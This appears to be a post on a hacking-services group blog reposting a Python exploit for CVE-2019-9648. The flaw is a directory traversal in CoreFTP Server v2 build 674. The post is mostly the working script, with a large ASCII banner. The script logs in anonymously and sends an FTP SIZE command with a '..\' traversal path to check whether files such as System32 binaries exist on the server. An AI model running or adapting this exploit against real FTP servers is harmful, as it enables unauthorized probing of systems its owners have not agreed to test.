Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86368949

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674  SIZE Directory Traversal
# Google Dork: N/A
# Date: 4/27/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7
# CVE : CVE-2019-9648


#!/usr/bin/python

import socket
import sys

########################################################
###########Set Variables For Script Here################

file_to_look_for = "nslookup.exe"
local_disk_drive = " C:"
path_traversal = "\..\..\..\..\..\Windows\System32\\"

########################################################
print ("""
         #####  #     # #######        #####    ###     #    #####         #####   #####  #        #####
         #     # #     # #             #     #  #   #   ##   #     #       #     # #     # #    #  #     #
         #       #     # #                   # #     # # #   #     #       #     # #       #    #  #     #
         #       #     # #####   #####  #####  #     #   #    ###### #####  ###### ######  #    #   #####
         #        #   #  #             #       #     #   #         #             # #     # ####### #     #
         #     #   # #   #             #        #   #    #   #     #       #     # #     #      #  #     #
          #####     #    #######       #######   ###   #####  #####         #####   #####       #   #####

          #######
          #       #    # #####  #       ####  # #####
          #        #  #  #    # #      #    # #   #
          #####     ##   #    # #      #    # #   #
          #         ##   #####  #      #    # #   #
          #        #  #  #      #      #    # #   #
          ####### #    # #      ######  ####  #   #

          #     #                                       ######         #     #    #
          #  #  # #####  # ##### ##### ###### #    #    #     # #   # ###    #   #  ###### #    # # #    #
          #  #  # #    # #   #     #   #      ##   #    #     #  # #   #     #  #   #      #    # # ##   #
          #  #  # #    # #   #     #   #####  # #  #    ######    #          ###    #####  #    # # # #  #
          #  #  # #####  #   #     #   #      #  # #    #     #   #    #     #  #   #      #    # # #  # #
          #  #  # #   #  #   #     #   #      #   ##    #     #   #   ###    #   #  #       #  #  # #   ##
           ## ##  #    # #   #     #   ###### #    #    ######    #    #     #    # ######   ##   # #    #

           ######
           #     #   ##   #    # #####    ##   #      #
           #     #  #  #  ##   # #    #  #  #  #      #
           ######  #    # # #  # #    # #    # #      #
           #   #   ###### #  # # #    # ###### #      #
           #    #  #    # #   ## #    # #    # #      #
           #     # #    # #    # #####  #    # ###### ######

           """)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.0.4',21))

s.recv(1024)
s.send('USER anonymous\r\n')

s.recv(1024)
s.send('PASS anonymous\r\n')

s.recv(1024)
s.recv(1024)
s.send('SIZE' +local_disk_drive+path_traversal+file_to_look_for + '\r\n')
result = s.recv(2048)
trimmedoutput = result.strip()
splitoutput = trimmedoutput.split(' ')
realresult = unicode (trimmedoutput,'utf-8')
realresult2 = unicode (splitoutput[1],'utf-8')
isnum = realresult.isnumeric()
isnum2 = realresult2.isnumeric()
if isnum2:
    print "The file " + file_to_look_for + " exist on the remote server. Here is the filesize:" + splitoutput[1]
else:
    print "The file " + file_to_look_for + " does not exist on the remote server or one of the variables declared is incorrect."

s.send('QUIT\r\n')

s.close